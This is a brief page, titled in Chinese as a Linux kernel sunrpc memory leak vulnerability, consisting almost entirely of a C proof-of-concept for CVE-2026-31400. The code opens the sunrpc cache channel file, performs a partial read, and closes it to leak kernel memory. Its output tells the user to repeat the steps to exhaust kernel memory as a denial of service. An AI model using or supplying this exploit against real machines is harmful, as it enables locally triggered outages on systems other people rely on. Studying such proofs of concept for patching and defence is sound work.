Linux Kernel sunrpc内存泄漏漏洞

// Conceptual PoC for CVE-2026-31400 // Requires local access to the system to trigger the sunrpc cache interface. #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <string.h> // Note: Actual path depends on kernel configuration and sunrpc usage #define RPC_CACHE_FILE "/proc/net/rpc/cache/channel" int main() { int fd; char buffer[1024]; ssize_t bytesRead; printf("Starting PoC for CVE-2026-31400...\n"); // Step 1: Open the sunrpc cache channel fd = open(RPC_CACHE_FILE, O_RDONLY); if (fd < 0) { perror("Failed to open cache file (may not exist or need root)"); return 1; } // Step 2: Initiate a read to set rp->offset != 0 // Reading a small amount to simulate a partial read operation bytesRead = read(fd, buffer, 10); if (bytesRead > 0) { printf("Read %zd bytes, offset is now non-zero.\n", bytesRead); } // Step 3: Close the file descriptor while offset is non-zero // This triggers cache_release() which lacks the cleanup logic for this state close(fd); printf("File descriptor closed. Memory leak likely occurred.\n"); printf("Repeat this process to exhaust kernel memory (DoS).\n"); return 0; }